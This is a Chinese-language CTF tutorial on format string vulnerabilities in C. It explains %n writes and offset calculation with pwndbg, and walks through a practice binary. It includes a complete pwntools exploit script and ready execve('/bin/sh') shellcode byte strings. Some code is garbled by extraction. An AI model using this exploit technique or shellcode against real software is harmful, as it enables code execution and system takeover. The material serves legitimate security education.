PWN入門-格式化字符串漏洞
VSole2022-06-07 16:53:33
在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。
此處放出一些常見的格式化字符串函數:
1. #include 2. int printf(const char *format, ...);3. int fprintf(FILE stream, const char format, ...);4. int dprintf(int fd, const char *format, ...);5. int sprintf(char str, const char format, ...);6. int snprintf(char str, size_t size, const char format, ...);
轉換指示符號:
長度:

示例:
#include #include void mian(){ char *format = "%s"; char *arg1 ="Hello!I‘m ReStr0!"; printf(format,arg1);}此處是格式化字符串的使用方式
當我們運行它時printf("%03d.%03d.%03d.%03d", 127,0,0,1);//"127.000.000.001"2. printf("%.2f", 1.2345); // 1.233. printf("%#010x", 3735928559); // 0xdeadbeef5. printf("%s%n", "01234", &n); // n = 5
這里拿printf格式化字符舉例,在glibc庫中它的相關代碼如下:

可以看出它從輸出流種會將輸出的內容按照我們設置的format進行格式化輸出。
漏洞產生原因和利用原理
/***我們在正常的對格式化字符輸出時大都使用printf(*format,*arg);此種形式進行輸出,但是部分程序員在開發的使用,為了省事使用了,printf(*format);進行輸出為了方便對比,我將在下面貼出正常和存在格式化字符漏洞的寫法。***/錯誤:#include void main(){ char str[1024]; scanf(%s,&str); printf(%s);} 正確:#include void main(){ char str[1024]; scanf(%s,&str); printf(%s,str);}//但是如果我們正常輸入字符的情況下,此時兩個都是可以正常輸出我們需要的字符串,但是當我們將%x作為arg鍵入后,//錯誤的代碼會將此處的地址打印出來,通過%n操作符我們可以修改指定地址的數據以達到劫持程序流的目的。//而且此時因為數據長的很長,我們可以輸入很多的格式化字符,來泄露我們需要的地址或者其他信息(canary等)。//最常見的就是通過格式化字符串漏洞泄露libc進行計算基址,泄露canary 進行bypass或者通過格式化字符串漏洞進行對got表地址某幾位的改寫。
CTF題目例子
int __cdecl main(int argc, const char **argv, const char **envp){ int a; // [rsp+Ch] [rbp-74h] BYREF char str[100]; // [rsp+10h] [rbp-70h] BYREF memset(str, 0, sizeof(str)); a = 16; printf("ReStr0 tell you %p", &a); __isoc99_scanf("%s", str); printf(str); if ( a == 32 ) { puts("success"); system("/bin/sh"); } else { puts("failure"); } return 0;}
這道題目我是用64位進行編譯的,我們審計代碼得知,題目告訴你a的地址,只要我們通過格式化字符串漏洞修改a的值為32就可以getshell,我們也知道可以通過%x$n+p64(a_addr)修改值,那么我們該如何計算這個偏移x呢?
兩張圖看懂如何計算偏移


此處我們也可以通過pwndbg自帶的fmtarg進行計算。
首先我們在printf的地方打下斷點。

然后c運行后在輸入出隨便輸入字符aaaa。

隨后停在因為之前打了斷點,在printf出停下,發現aaaa返回地址在0x7fffffffdb90 輸入fmtarg 0x7fffffffdb90 即可計算出偏移為8。

我們也可以通過上面的兩張圖方法計算出偏移。

附上編譯好的bin程序和exp。
binary程序下載地址
鏈接:https://pan.baidu.com/s/11VvBozTXEZKs3ownh4grqg
提取碼:hjtp
EXP:
# _*_ coding:utf-8 _*_from pwn import *context.log_level = 'debug' p=process("fofo")#p=remote("123.57.230.48","12342") def debug(addr,PIE=True): debug_str = "" if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) for i in addr: debug_str+='b *{}'.format(hex(text_base+i)) gdb.attach(p,debug_str) else: for i in addr: debug_str+='b *{}'.format(hex(i)) gdb.attach(p,debug_str) def dbg(): gdb.attach(p)#-----------------------------------------------------------------------------------------s = lambda data :p.send(str(data)) #in case that data is an intsa = lambda delim,data :p.sendafter(str(delim), str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(str(delim), str(data))r = lambda numb=4096 :p.recv(numb)ru = lambda delims, drop=True :p.recvuntil(delims, drop)it = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4, '\0'))uu64 = lambda data :u64(data.ljust(8, '\0'))bp = lambda bkp :pdbg.bp(bkp)li = lambda str1,data1 :log.success(str1+'========>'+hex(data1)) def dbgc(addr): gdb.attach(p,"b*" + hex(addr) +" c") def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"#https://www.exploit-db.com/shellcodes#----------------------------------------------------------------------------------------- ru("0x")stack = int(r(12),16)#lg('stack',stack)#print#log.info(hex(stack))print hex(stack) pay = "%32c%9$n"+p64(stack)sl(pay)sleep(0.1)it()
VSole
網絡安全專家